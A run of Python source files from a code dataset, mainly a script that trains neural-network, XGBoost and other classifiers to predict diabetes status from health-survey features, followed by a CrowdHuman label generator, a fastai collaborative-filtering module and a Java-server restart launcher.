pd.get_dummies( cat_features[ col ] )\r\n one_hot = one_hot.add_prefix( col )\r\n cat_features = cat_features.join( one_hot )\r\n cat_features = cat_features.drop( col, 1 )\r\n \r\n #cat_features = embed( cat_features )\r\n \r\n X = np.concatenate( [ cat_features, num_features ], axis = 1 )\r\n X = np.concatenate( [ X, sample_weight ], axis = 1 )\r\n Y = labels\r\n\r\n return X, Y \r\n\r\n\r\ndef create_model( num_input, hidden_layer, num_classes ):\r\n\r\n input_layer = tf.keras.Input( shape = ( num_input, ) )\r\n hidden = layers.Dense( hidden_layer[0], \r\n kernel_regularizer=regularizers.l2(0.1),\r\n activity_regularizer=regularizers.l1(0.1) )( input_layer )\r\n hidden = layers.ELU( alpha = 1 )( hidden )\r\n hidden = layers.Dropout( 0.1 )( hidden )\r\n hidden = layers.Dense( hidden_layer[1],\r\n kernel_regularizer=regularizers.l2(0.1),\r\n activity_regularizer=regularizers.l1(0.1))( hidden )\r\n hidden = layers.ELU( alpha = 1 )( hidden )\r\n hidden = layers.Dropout( 0.1 )( hidden )\r\n hidden = layers.Dense( hidden_layer[2],\r\n kernel_regularizer=regularizers.l2(0.1),\r\n activity_regularizer=regularizers.l1(0.1))( hidden )\r\n hidden = layers.ELU( alpha = 1 )( hidden ) \r\n hidden = layers.Dropout( 0.1 )( hidden )\r\n if num_classes > 2:\r\n output_layer = layers.Dense( num_classes , activation = \"softmax\" )( hidden )\r\n else:\r\n output_layer = layers.Dense( 1 , activation = \"sigmoid\" )( hidden )\r\n\r\n model = models.Model( input_layer, output_layer )\r\n if num_classes > 2:\r\n loss_func = 'sparse_categorical_crossentropy'\r\n else:\r\n loss_func = 'binary_crossentropy'\r\n \r\n opt = optimizers.Adam(learning_rate=0.005, beta_1=0.9, beta_2=0.999, amsgrad=False)\r\n model.compile(\r\n optimizer = opt,loss = loss_func,\r\n metrics = [ 'accuracy' ])\r\n \r\n return model\r\n\r\n\r\ndef create_wdmodel( n_cat_input, n_num_input, hidden_layer, num_classes ):\r\n \r\n input_layer1 = tf.keras.Input( shape = ( n_num_input, ) )\r\n hidden = layers.Dense( hidden_layer[0], \r\n kernel_regularizer=regularizers.l2(0.1),\r\n activity_regularizer=regularizers.l1(0.1) )( input_layer1 )\r\n hidden = layers.ReLU(max_value=None, negative_slope=0.0, threshold=0.0)( hidden )\r\n hidden = layers.Dropout( 0.1 )( hidden )\r\n hidden = layers.Dense( hidden_layer[1],\r\n kernel_regularizer=regularizers.l2(0.1),\r\n activity_regularizer=regularizers.l1(0.1))( hidden )\r\n hidden = layers.ReLU(max_value=None, negative_slope=0.0, threshold=0.0)( hidden )\r\n hidden = layers.Dropout( 0.1 )( hidden )\r\n hidden = layers.Dense( hidden_layer[2],\r\n kernel_regularizer=regularizers.l2(0.1),\r\n activity_regularizer=regularizers.l1(0.1))( hidden )\r\n hidden = layers.ReLU(max_value=None, negative_slope=0.0, threshold=0.0)( hidden ) \r\n hidden = layers.Dropout( 0.1 )( hidden )\r\n \r\n if num_classes > 2:\r\n output_layer1 = layers.Dense( num_classes , activation = \"softmax\" )( hidden )\r\n else:\r\n output_layer1 = layers.Dense( 1 , activation = \"sigmoid\" )( hidden )\r\n \r\n input_layer2 = tf.keras.Input( shape = ( n_cat_input, ) )\r\n output_layer2 = layers.ELU( alpha = 1 )( input_layer2 )\r\n \r\n inputs = []\r\n inputs.append( input_layer1 )\r\n inputs.append( input_layer2 )\r\n \r\n outputs = [] \r\n outputs.append( output_layer1 )\r\n outputs.append( output_layer2 )\r\n \r\n concat = layers.Concatenate()( outputs )\r\n if num_classes > 2:\r\n model_out = layers.Dense( num_classes , activation = \"softmax\" )( concat )\r\n else:\r\n model_out = layers.Dense( 1 , activation = \"sigmoid\" )( concat )\r\n #model_out = layers.Dense( 2, activation = \"softmax\" )( concat )\r\n model = models.Model( inputs, model_out )\r\n \r\n if num_classes > 2:\r\n loss_func = 'sparse_categorical_crossentropy'\r\n else:\r\n loss_func = 'binary_crossentropy'\r\n \r\n opt = optimizers.Adam(learning_rate=0.005, beta_1=0.9, beta_2=0.999, amsgrad=False)\r\n model.compile(\r\n optimizer = opt,loss = loss_func,\r\n metrics = [ 'accuracy' ])\r\n \r\n return model\r\n\r\n\r\ndef run_cross_validation( X, Y, sample_weight ):\r\n \r\n nfolds = 10 \r\n skf = StratifiedKFold( n_splits = nfolds, shuffle = True )\r\n f.write( \"\\nDNN:\\n\" )\r\n\r\n num_fold = 0\r\n models = []\r\n best = 0\r\n best_score = 100\r\n ns = X.shape[0]\r\n ni = X.shape[1]\r\n no = 1\r\n alpha = 2\r\n nh = ns / ( alpha * ( ni + no ))\r\n hidden_layer = [ int( nh // 4 ), int( nh // 2 ), int( nh // 4 ) ]\r\n num_input = ni\r\n \r\n for ( train, valid ) in skf.split( X, Y):\r\n classes = np.unique(Y)\r\n num_classes = len( classes )\r\n model = create_model( num_input, hidden_layer, num_classes )\r\n X_train, X_valid = X[train,], X[valid,]\r\n Y_train, Y_valid = Y[train], Y[valid]\r\n S_train, S_valid = sample_weight[train].reshape((len(train),)), sample_weight[valid].reshape((len(valid),))\r\n \r\n num_fold += 1\r\n print('\\nStart StratifiedKFold number {} from {}'.format(num_fold, nfolds))\r\n \r\n callbacks = [\r\n EarlyStopping( monitor = 'val_loss', patience = 10, verbose = 2, min_delta = 0.01),\r\n ReduceLROnPlateau( monitor = 'val_loss', factor=0.2, verbose = 2, patience = 5, min_lr = 0.001, min_delta = 10 ) \r\n ]\r\n \r\n model_fit = model.fit(\r\n X_train, Y_train,\r\n batch_size = 16,\r\n epochs = 100,\r\n sample_weight = S_train,\r\n shuffle = True, \r\n verbose = 2, \r\n validation_data = ( X_valid, Y_valid, S_valid ),\r\n callbacks = callbacks\r\n )\r\n \r\n score = np.mean( model_fit.history['acc'] )\r\n \r\n if score < best_score:\r\n best = model\r\n best_score = score\r\n models.append(model)\r\n \r\n print('Best accuracy:', round( best_score, 3 ) )\r\n f.write('Avg accuracy:' + str( round( best_score, 3 ) ) )\r\n\r\n info_string = 'Accuracy: ' + str(best_score) + '_folds_' + str(nfolds)\r\n return info_string, models, best \r\n\r\n \r\ndef run_cross_validation_wd( X, Y, sample_weight ):\r\n \r\n nfolds = 5 \r\n skf = StratifiedKFold( n_splits = nfolds, shuffle = True )\r\n f.write( \"\\nWide and Deep:\\n\" )\r\n \r\n num_fold = 0\r\n wdmodels = []\r\n best = 0\r\n best_score = 100\r\n ns = X.shape[0]\r\n ni = X[:,:11].shape[1]\r\n no = 1\r\n alpha = 2\r\n nh = ns / ( alpha * ( ni + no ))\r\n hidden_layer = [ int( nh // 4 ), int( nh // 2 ), int( nh // 4 ) ]\r\n n_cat_input = ni\r\n n_num_input = X[:,11:].shape[1]\r\n \r\n for ( train, valid ) in skf.split( X, Y):\r\n classes = np.unique(Y)\r\n num_classes = len( classes )\r\n model = create_wdmodel( n_cat_input, n_num_input, hidden_layer, num_classes )\r\n X_train, X_valid = X[train,], X[valid,]\r\n Y_train, Y_valid = Y[train], Y[valid]\r\n S_train, S_valid = sample_weight[train].reshape((len(train),)), sample_weight[valid].reshape((len(valid),))\r\n \r\n num_fold += 1\r\n print('\\nStart StratifiedKFold number {} from {}'.format(num_fold, nfolds))\r\n \r\n callbacks = [\r\n EarlyStopping( monitor = 'val_loss', patience = 10, verbose = 0, min_delta = 0.01),\r\n ReduceLROnPlateau( monitor = 'val_loss', factor=0.2, verbose = 0, patience = 5, min_lr = 0.001, min_delta = 10 ) \r\n ]\r\n \r\n model_fit = model.fit(\r\n [ X_train[:,11:], X_train[:,:11]], Y_train,\r\n batch_size = 16,\r\n epochs = 50,\r\n sample_weight = S_train,\r\n shuffle = True, \r\n verbose = 1, \r\n validation_data = ( [ X_valid[:,11:], X_valid[:,:11]], Y_valid, S_valid ),\r\n callbacks = callbacks\r\n )\r\n \r\n score = np.mean( model_fit.history['acc'] )\r\n \r\n if score < best_score:\r\n best = model\r\n best_score = score\r\n \r\n wdmodels.append(model)\r\n \r\n print('Best accuracy:', round( best_score, 3 ) )\r\n f.write('Avg accuracy:' + str( round( best_score, 3 ) ) )\r\n\r\n info_string = 'Accuracy: ' + str(best_score) + '_folds_' + str(nfolds)\r\n return info_string, wdmodels, best \r\n\r\n\r\ndef make_binary_labels( labels, label ):\r\n \r\n for i in range( len ( labels )):\r\n if labels[i] not in label:\r\n labels[i] = 0;\r\n else:\r\n labels[i] = 1;\r\n \r\n return labels\r\n \r\ndef run_models(x_train, x_test, y_train, y_test, sample_weight ):\r\n\r\n models = {\r\n 'rf':RandomForestClassifier(),\r\n #'knn':KNeighborsClassifier(),\r\n 'svm' :LinearSVC(),\r\n 'dt':DecisionTreeClassifier(),\r\n 'reg':LogisticRegression(),\r\n 'gb':GradientBoostingClassifier()\r\n }\r\n for model_key in models:\r\n f.write( '\\n' + model_key + ': ' )\r\n print( model_key, ':' )\r\n model = models[model_key]\r\n model.fit(x_train, y_train, sample_weight = sample_weight )\r\n '''\r\n f.write( '\\nTraining:---')\r\n print( 'Training:---' )\r\n preds = model.predict( x_train )\r\n evaluate_performance( y_train, preds )\r\n '''\r\n f.write( '\\nTesting:---')\r\n #print( 'Testing:---' )\r\n preds = model.predict(x_test)\r\n evaluate_performance( y_test, preds )\r\n \r\ndef embed( cat_features ):\r\n n_samples = len( cat_features )\r\n cat_feat = np.empty(( n_samples, 0 ))\r\n features = list( cat_features )\r\n le = LabelEncoder()\r\n for feature in features:\r\n output_emb = int( cat_features[feature].nunique() / 2 )\r\n input_emb = cat_features[feature].nunique()\r\n f_transformed = le.fit_transform( cat_features[feature] )\r\n \r\n model = models.Sequential()\r\n model.add( layers.Embedding( input_emb, output_emb, input_length = 1 ))\r\n model.compile( 'rmsprop', 'mse' )\r\n \r\n feat = model.predict( f_transformed ).reshape( n_samples, output_emb )\r\n \r\n cat_feat = np.hstack(( cat_feat, feat )) \r\n \r\n return cat_feat\r\n\r\ndef run_xgboost( x_train, x_test, y_train, y_test, sample_weight ):\r\n '''\r\n if len(np.unique( y_train )) > 2:\r\n xgb_model = xgb.XGBClassifier(objective=\"multi:softprob\", random_state=96)\r\n else:\r\n xgb_model = xgb.XGBClassifier(n_estimators = 50, objective=\"binary:logistic\")\r\n eval_set = [(x_train, y_train), (x_test, y_test)]\r\n eval_metric = [\"auc\",\"error\"]\r\n xgb_model.fit( x_train, y_train, eval_set = eval_set, eval_metric = eval_metric, sample_weight = sample_weight, verbose = False )\r\n xgb_model.save_model(\"xgb_model.h5\")\r\n print( '\\nXGBoost:' )\r\n f.write( '\\nXGBoost:' )\r\n f.write( '\\nTesting:---')\r\n #print( 'Testing:---' ) \r\n y_pred = xgb_model.predict( x_test )\r\n evaluate_performance( y_test, y_pred )\r\n #xgb_model.evals_result()\r\n #print(xgb_model.evals_result())\r\n #xgb_model.to_graphviz(bst, num_trees=2)\r\n '''\r\n \r\n # create a default XGBoost classifier\r\n model = xgb.XGBClassifier(\r\n random_state=96, \r\n #tree_method = \"gpu_hist\",\r\n eval_metric=[\"error\", \"auc\"]\r\n )\r\n # Create the grid search parameter grid and scoring funcitons\r\n param_grid = {\r\n \"learning_rate\": [0.1, 0.01, 0.05, 0.5],\r\n \"colsample_bytree\": [0.6, 0.8, 1.0],\r\n \"subsample\": [0.6, 0.8, 1.0],\r\n \"max_depth\": [2, 3, 4, 5, 10],\r\n \"n_estimators\": [100, 200, 300, 400, 500],\r\n \"reg_lambda\": [1, 1.5, 2],\r\n \"gamma\": [0, 0.1, 0.3, 0.5],\r\n }\r\n scoring = {\r\n 'AUC': 'roc_auc', \r\n #'Accuracy': make_scorer(accuracy_score)\r\n }\r\n # create the Kfold object\r\n num_folds = 10\r\n kfold = StratifiedKFold(n_splits=num_folds, random_state=96)\r\n # create the grid search object\r\n n_iter=50\r\n grid = RandomizedSearchCV(\r\n estimator=model, \r\n param_distributions=param_grid,\r\n cv=kfold,\r\n scoring=scoring,\r\n n_jobs=-1,\r\n n_iter=n_iter,\r\n refit=\"AUC\",\r\n )\r\n # fit grid search\r\n optimal_model = grid.fit(X_train,y_train)\r\n params = optimal_model.best_params_\r\n print( optimal_model.best_score_ )\r\n \r\n best_model = xgb.XGBClassifier(\r\n colsample_bytree = params['colsample_bytree'],\r\n gamma = params['gamma'],\r\n learning_rate = params['learning_rate'],\r\n max_depth = params['max_depth'],\r\n n_estimators = params['n_estimators'],\r\n reg_lambda = params['reg_lambda'],\r\n subsample = params['subsample']\r\n )\r\n eval_set = [(x_train, y_train), (x_test, y_test)]\r\n eval_metric = [\"auc\",\"error\"]\r\n best_model.fit( x_train, y_train, eval_set = eval_set, eval_metric = eval_metric, sample_weight = sample_weight, verbose = False )\r\n \r\n y_pred = best_model.predict( x_test )\r\n evaluate_performance( y_test, y_pred )\r\n \r\n return best_model\r\n \r\n \r\ndef evaluate_performance( Y, pred ):\r\n if len(np.unique( Y )) > 2:\r\n average = 'weighted'\r\n print( classification_report( Y, pred ))\r\n else:\r\n average = 'binary'\r\n tn, fp, fn, tp = confusion_matrix( Y, pred ).ravel()\r\n print( 'Confusion Matrix:' )\r\n print( \"tp:\", tp, \"\\t fp:\", fp )\r\n print( \"fn:\", fn, \"\\t tn:\", tn )\r\n f.write( '\\nConfusion matrix:\\n' )\r\n f.write( str(confusion_matrix( Y, pred )) )\r\n sensitivity = tp / ( tp + fn )\r\n specificity = tn / ( fp + tn )\r\n print( 'Sensitivity:', round( recall_score( Y, pred, average = average), 3 ))\r\n f.write( '\\nSensitivity:\\t' + str( round( sensitivity, 3 ) ))\r\n print( 'Specificity:', round( specificity, 3 ) )\r\n print( 'Precision:', round( precision_score( Y, pred ), 3 ))\r\n f.write( '\\nSpecificity:\\t' + str( round( specificity, 3 ) ))\r\n f.write( '\\nPrecision:\\t' + str( round(precision_score( Y, pred ), 3 ) ))\r\n fpr, tpr, th = roc_curve( Y, pred )\r\n #auc_score = auc( fpr, tpr )\r\n #print( 'AUC score:', round( auc_score, 3 ))\r\n #f.write( '\\nAUC score:\\t' + str( round( auc_score, 3 )) + '\\n' )\r\n print( 'ROAUC score:', round( roc_auc_score( Y, pred, average = 'weighted' ), 3 ))\r\n f.write( '\\nROAUC score:\\t' + str( round( roc_auc_score( Y, pred, average = 'weighted' ), 3 )) + '\\n' )\r\n\r\n print( 'Accuracy:', round( accuracy_score( Y, pred ), 3 ), '\\n')\r\n f.write( 'Accuracy:\\t' + str( round( accuracy_score( Y, pred ), 3 )) + '\\n' )\r\n\r\n \r\ndef remove_label( X, Y, label ):\r\n data = np.hstack( ( X, Y ) )\r\n data = data[ np.logical_not( data[:,-1] == label ) ]\r\n return data[:,:-1], data[:,-1]\r\n\r\n \r\nif __name__ == '__main__':\r\n \r\n print('\\nStarting.....\\n') \r\n filename = 'complete_data.csv'\r\n #filename = 'complete_data_6_waves.csv'\r\n f.write( \"\\n--------------------------------------------------------------------------\" )\r\n f.write( '\\n\\nNew run:\\nFilename:' + filename + '\\n' )\r\n X, Y = process_data( filename )\r\n \r\n X, Y = remove_label( X, Y, 3 )\r\n \r\n label = [ 1, 2 ]\r\n Y = make_binary_labels( Y, label )\r\n \r\n f.write( 'Total samples: ' + str( X.shape[0] ) + '\\n' )\r\n print( 'Total samples: ' + str( X.shape[0] ) + '\\n' )\r\n unique, counts = np.unique( Y, return_counts=True)\r\n unique = [ int( u ) for u in unique ]\r\n classes = dict(zip( unique, counts ))\r\n print( 'Classes:' + str( classes ) + '\\n' )\r\n f.write( 'Classes:' + str( classes ) + '\\n' )\r\n\r\n X_train, X_test, Y_train, Y_test = train_test_split( X, Y, stratify = Y ) \r\n print( 'Train:', X_train.shape[0], '\\nTest:', X_test.shape[0], '\\n' )\r\n\r\n smote_enn = SMOTEENN( random_state = 1234 )\r\n smote_tomek = SMOTETomek( random_state = 1234 )\r\n #X_resampled, Y_resampled = smote_enn.fit_resample( X_train, Y_train.ravel() )\r\n X_resampled, Y_resampled = smote_tomek.fit_resample( X_train, Y_train.ravel() )\r\n Y_train = Y_resampled\r\n #''' \r\n f.write( 'Resampled: ' + str( X_resampled.shape[0] ) + '\\n' )\r\n print( 'Resampled: ' + str( X_resampled.shape[0] ) + '\\n' )\r\n unique, counts = np.unique( Y_resampled, return_counts=True)\r\n unique = [ int( u ) for u in unique ]\r\n classes = dict(zip( unique, counts ))\r\n print( 'Classes:', classes, '\\n' ) \r\n f.write( 'Classes:' + str( classes ) + '\\n' )\r\n X_train = X_resampled\r\n #'''\r\n \r\n #label = [ 1, 2 ]\r\n #Y_train = make_binary_labels( Y_resampled, label )\r\n #Y_test = make_binary_labels( Y_test, label )\r\n classes = [ 'Normal', 'Prediabetes', 'Undiagnosed', 'Diabetes' ]\r\n f.write( \"\\nClassification: \" + str( [ classes[i] for i in label ] ) + \" vs others \\n\" )\r\n \r\n sample_weight = X_train[:,-1]\r\n X_train = X_train[:,:-1]\r\n test_wgt = X_test[:,-1]\r\n X_test = X_test[:,:-1]\r\n \r\n n_train = X_train.shape[0]\r\n n_test = X_test.shape[0]\r\n n_train_col = X_train.shape[1]\r\n n_test_col = X_test.shape[1]\r\n #'''\r\n run_models( X_train, X_test, Y_train.reshape((n_train,)), Y_test.reshape((n_test,)), sample_weight )\r\n best_model = run_xgboost( X_train, X_test, Y_train.reshape((n_train,)), Y_test.reshape((n_test,)), sample_weight )\r\n \r\n feature_importance = best_model.feature_importances_\r\n evaluations = best_model.evals_result_\r\n \r\n column_names = [\r\n 'MARRIED','WIDOWED','DIVORCED','SEPARATED','NEVER MARRIED','LIVING WITH PARTNER',\r\n 'MALE','FEMALE',\r\n 'MEXICAN AMERICAN','OTHER HISPANIC','NON-HISPANIC WHITE','NON-HISPANIC BLACK','OTHER RACE',\r\n 'EDULVL HIGH','EDULVL MEDIUM','EDULVL LOW',\r\n 'FAM D HIST NO','FAM D HIST YES',\r\n 'ALC ABSTAINERS','ALC HEAVY','ALC MODERATE','ALC OCCASIONAL',\r\n 'SMK CURRENT','SMK EX','SMK NEVER',\r\n 'AGE','FPIR','BMI','WAIST','MVPA','SYST','DIAS','SLPDUR','DPLVL'\r\n ]\r\n \r\n imp = zip( column_names, feature_importance )\r\n for ( feature, imp_score ) in imp:\r\n print( feature, \":\", imp_score )\r\n \r\n print( \"Average AUC:\", np.average( np.array( evaluations['validation_1']['auc'] )) )\r\n f.write( \"XGBoost:\\nAverage AUC: \" + str(np.average( np.array( evaluations['validation_1']['auc'] ))) )\r\n #'''\r\n '''\r\n info, model_all, best_model = run_cross_validation_wd( X_train, Y_train, sample_weight )\r\n #info, model_all, best_model = run_cross_validation( X_train, Y_train, sample_weight )\r\n \r\n callbacks = [\r\n EarlyStopping( monitor = 'val_loss', patience = 10, verbose = 2, min_delta = 0.01 ),\r\n ReduceLROnPlateau( monitor = 'val_loss', factor = 0.2, verbose = 2, patience = 5, min_lr = 0.001, min_delta = 10 ) \r\n ]\r\n \r\n print( best_model.summary() )\r\n \r\n history = best_model.fit( \r\n #X_train, Y_train, \r\n [ X_train[:,11:], X_train[:,:11]], Y_train, \r\n sample_weight = sample_weight.reshape(( n_train, )),\r\n epochs = 100,\r\n verbose = 1,\r\n shuffle = True,\r\n validation_split = 0.2,\r\n callbacks = callbacks,\r\n )\r\n\r\n plt.plot(history.history['acc'], label='accuracy')\r\n plt.plot(history.history['val_acc'], label = 'val_accuracy')\r\n plt.xlabel('Epoch')\r\n plt.ylabel('Accuracy')\r\n plt.ylim([0.5, 1])\r\n plt.legend(loc='lower right')\r\n #savefile = 'accuracy_plot_' + str(lbl) + '.png'\r\n #plt.savefig( savefile )\r\n \r\n plt.clf()\r\n plt.plot(history.history['loss'])\r\n plt.plot(history.history['val_loss']) \r\n plt.title('model train vs validation loss')\r\n plt.ylabel('loss')\r\n plt.xlabel('epoch')\r\n plt.legend(['train', 'validation'], loc='upper right')\r\n #savefile = 'loss_plot_' + str(lbl) + '.png'\r\n #plt.savefig( savefile )\r\n \r\n Y_pred = best_model.predict( [ X_test[:,11:], X_test[:,:11]] )\r\n #Y_pred = best_model.predict( X_test )\r\n \r\n if len(np.unique( Y_train )) > 2:\r\n prob = list( Y_pred )\r\n pred = []\r\n for p in prob:\r\n pred.append(list(p).index( max(p)))\r\n else:\r\n pred = []\r\n for p in Y_pred:\r\n v = 1 if p > 0.5 else 0\r\n pred.append( v )\r\n evaluate_performance( Y_test, pred )\r\n '''\r\n f.close()\r\n \r\n","sub_path":"proto_7_2.py","file_name":"proto_7_2.py","file_ext":"py","file_size_in_byte":22882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"90927596","text":"import os.path as osp\nimport os\nimport cv2\nimport json\nimport numpy as np\n\n\ndef mkdirs(d):\n if not osp.exists(d):\n os.makedirs(d)\n\n\ndef load_func(fpath):\n print('fpath', fpath)\n assert os.path.exists(fpath)\n with open(fpath, 'r') as fid:\n lines = fid.readlines()\n records =[json.loads(line.strip('\\n')) for line in lines]\n return records\n\n\ndef gen_labels_crowd(data_root, label_root, ann_root):\n mkdirs(label_root)\n anns_data = load_func(ann_root)\n\n tid_curr = 0\n for i, ann_data in enumerate(anns_data):\n print(i)\n image_name = '{}.jpg'.format(ann_data['ID'])\n img_path = os.path.join(data_root, image_name)\n anns = ann_data['gtboxes']\n img = cv2.imread(\n img_path,\n cv2.IMREAD_COLOR | cv2.IMREAD_IGNORE_ORIENTATION\n )\n img_height, img_width = img.shape[0:2]\n for i in range(len(anns)):\n if 'extra' in anns[i] and 'ignore' in anns[i]['extra'] and anns[i]['extra']['ignore'] == 1:\n continue\n x, y, w, h = anns[i]['fbox']\n x += w / 2\n y += h / 2\n label_fpath = img_path.replace('images', 'labels_with_ids').replace('.png', '.txt').replace('.jpg', '.txt')\n #label_str = '0 {:d} {:.6f} {:.6f} {:.6f} {:.6f}\\n'.format(\n #tid_curr, x / img_width, y / img_height, w / img_width, h / img_height)\n label_str = '0 -1 {:.6f} {:.6f} {:.6f} {:.6f}\\n'.format(\n x / img_width, y / img_height, w / img_width, h / img_height)\n with open(label_fpath, 'a') as f:\n f.write(label_str)\n tid_curr += 1\n\n\nif __name__ == '__main__':\n data_val = '/home/zyf/dataset/crowdhuman/images/val'\n label_val = '/home/zyf/dataset/crowdhuman/labels_with_ids/val'\n ann_val = '/home/zyf/dataset/crowdhuman/annotation_val.odgt'\n data_train = '/home/zyf/dataset/crowdhuman/images/train'\n label_train = '/home/zyf/dataset/crowdhuman/labels_with_ids/train'\n ann_train = '/home/zyf/dataset/crowdhuman/annotation_train.odgt'\n gen_labels_crowd(data_train, label_train, ann_train)\n gen_labels_crowd(data_val, label_val, ann_val)\n\n\n","sub_path":"src/gen_labels_crowd_det.py","file_name":"gen_labels_crowd_det.py","file_ext":"py","file_size_in_byte":2190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"427396742","text":"\n\n#calss header\nclass _RALLY():\n\tdef __init__(self,): \n\t\tself.name = \"RALLY\"\n\t\tself.definitions = [u'a public meeting of a large group of people, especially supporters of a particular opinion: ', u'a car or motorcycle race, especially over long distances on public roads: ', u'a continuous exchange of hits between players in tennis, squash or badminton', u'an improvement: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_rally.py","file_name":"_rally.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"344021107","text":"from fastai.collab import *\n\n\n# Not working!!\nclass DashCollabModel:\n\t\"\"\"\n\tModel for collaborative filtering\n\t\"\"\"\n\n\t@staticmethod\n\tdef create_collab_model(databunch, response):\n\n\t\tif response['type'] == 'default':\n\t\t\tn_factor = response['default']['n_factor']\n\t\t\tuse_nn = response['default']['use_nn']\n\t\t\tlayers = response['default']['layers']\n\t\t\temb_drop = response['default']['emb_drop']\n\t\t\tps = response['default']['ps']\n\t\t\ty_range = tuple(response['default']['y_range'])\n\t\t\tuse_bn = response['default']['use_bn']\n\t\t\tbn_final = response['default']['bn_final']\n\t\temb_szs = databunch.get_emb_szs()\n\t\tu, m = databunch.train_ds.x.classes.values()\n\t\tif use_nn:\n\t\t\tmodel = EmbeddingNN(emb_szs=emb_szs, layers=layers, ps=ps, emb_drop=emb_drop, y_range=y_range,\n\t\t\t\t\t\t\t\tuse_bn=use_bn, bn_final=bn_final)\n\t\t\treturn model\n\t\telse:\n\t\t\tmodel = EmbeddingDotBias(n_factor, len(u), len(m), y_range=y_range)\n\t\t\treturn model\n\n\t'''\t\n\t# Input size is probably incorrect. Try running tab_test.py with response_cust_model.json\n\t@staticmethod\n\tdef create_custom_collab_model(data, layers, **kwargs):\n\t\temb_szs = data.get_emb_szs()\n\t\tinput_sz = len(data.cont_names)\n\t\tfor x, y in emb_szs:\n\t\t\tinput_sz += y\n\t\tout_sz = data.c\n\t\tassert layers[0].in_features == input_sz, f\"Input size should be {input_sz} in {layers[0]} ie. the first layer\"\n\t\tassert layers[-1].out_features == out_sz, f\"Output size should be {out_sz} in {layers[-1]} ie. the last layer\"\n\t\tmodel = DashCustomCollabModel(emb_szs, len(data.cont_names), out_sz=data.c, layers=layers, **kwargs)\n\t\treturn model\n\t'''\n\n\n# No idea how to implement this for collaborative filtering\nclass DashCustomCollabModel(nn.Module):\n\t\"Basic model for tabular data.\"\n\n\tdef __init__(self, emb_szs: ListSizes, n_cont: int, out_sz: int, layers, ps: Collection[float] = None,\n\t\t\t\t emb_drop: float = 0., y_range: OptRange = None, bn_begin: bool = False):\n\t\tsuper().__init__()\n\t\tps = ifnone(ps, [0] * len(layers))\n\t\tps = listify(ps, layers)\n\t\tself.embeds = nn.ModuleList([embedding(ni, nf) for ni, nf in emb_szs])\n\t\tself.emb_drop = nn.Dropout(emb_drop)\n\t\t# self.bn_cont = nn.BatchNorm1d(n_cont)\n\t\tif bn_begin: self.bn_cont = nn.BatchNorm1d(n_cont)\n\t\tn_emb = sum(e.embedding_dim for e in self.embeds)\n\t\tself.n_emb, self.n_cont, self.y_range = n_emb, n_cont, y_range\n\t\tself.layers = nn.Sequential(*layers)\n\n\tdef get_sizes(self, layers, out_sz):\n\t\treturn [self.n_emb + self.n_cont] + layers + [out_sz]\n\n\tdef forward(self, x_cat: Tensor, x_cont: Tensor) -> Tensor:\n\n\t\tif self.n_emb != 0:\n\t\t\tx = [e(x_cat[:, i]) for i, e in enumerate(self.embeds)]\n\t\t\tx = torch.cat(x, 1)\n\t\t\tx = self.emb_drop(x)\n\n\t\tif self.n_cont != 0:\n\t\t\t# x_cont = self.bn_cont(x_cont)\n\t\t\tx = torch.cat([x, x_cont], 1) if self.n_emb != 0 else x_cont\n\n\t\tx = self.layers(x)\n\t\tif self.y_range is not None:\n\t\t\tx = (self.y_range[1] - self.y_range[0]) * torch.sigmoid(x) + self.y_range[0]\n\t\treturn x\n","sub_path":"collabfilter/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"490542785","text":"#!/usr/bin/env python3\n\nimport os\nimport subprocess\nimport sys\nimport threading\n\ngradle = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"gradlew\")\n\n\nclass ServerThread(threading.Thread):\n \"\"\"\n :type process: subprocess.Popen\n \"\"\"\n\n def __init__(self, args):\n super().__init__()\n self.process = None\n self.args = args\n\n def run(self):\n # this compiles and processes required resources so that main class can be executed directly with regular java command\n subprocess.check_call([gradle, \"classes\"], start_new_session=True)\n\n classpath = self.__resolve_classpath()\n\n print()\n print(\"#\" * 30)\n print()\n print(\"Starting application. Press CTRL-D to restart server, CTRL-C to exit.\")\n print()\n print(\"#\" * 30)\n print()\n\n java_cmd = [\"java\", \"-cp\", classpath, \"io.zaplin.sample.Main\"]\n java_cmd += self.args\n\n self.process = subprocess.Popen(java_cmd, start_new_session=True)\n self.process.wait()\n self.process = None\n\n def halt_server(self):\n ps = self.process\n\n if not ps:\n return\n\n ps.terminate()\n try:\n ps.wait(20)\n return\n except subprocess.TimeoutExpired:\n pass\n\n print(\"TERM signal failed, sending KILL signal\", file=sys.stderr)\n\n ps.kill()\n ps.wait()\n\n classpath_cache = None\n\n @classmethod\n def __resolve_classpath(cls) -> str:\n if not cls.classpath_cache:\n print(\"Resolving Java classpath. This will be done only once...\", end=\"\")\n sys.stdout.flush()\n\n classpath_cmd = [gradle, \"printClasspath\"]\n output = subprocess.check_output(classpath_cmd)\n\n classpath = None\n\n for line in output.decode().splitlines():\n if line.startswith(\"CLASSPATH:\"):\n classpath = line[len(\"CLASSPATH:\"):]\n break\n\n if not classpath:\n print(\"\\nCould not resolve Java classpath using command '{}'\".format(\" \".join(classpath_cmd)), file=sys.stderr)\n return None\n\n cls.classpath_cache = classpath\n\n print(\" Done\")\n\n return cls.classpath_cache\n\n\ndef wait():\n while True:\n try:\n x = sys.stdin.buffer.read(1)\n if not x:\n return False\n except KeyboardInterrupt:\n return True\n\n\ndef main():\n while True:\n thread = ServerThread(sys.argv[1:])\n thread.start()\n\n try:\n if wait():\n print(\"Shutting down server\")\n return\n print(\"Restarting server...\")\n finally:\n thread.halt_server()\n thread.join()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"run_sample.py","file_name":"run_sample.py","file_ext":"py","file_size_in_byte":2832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"191685092","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db 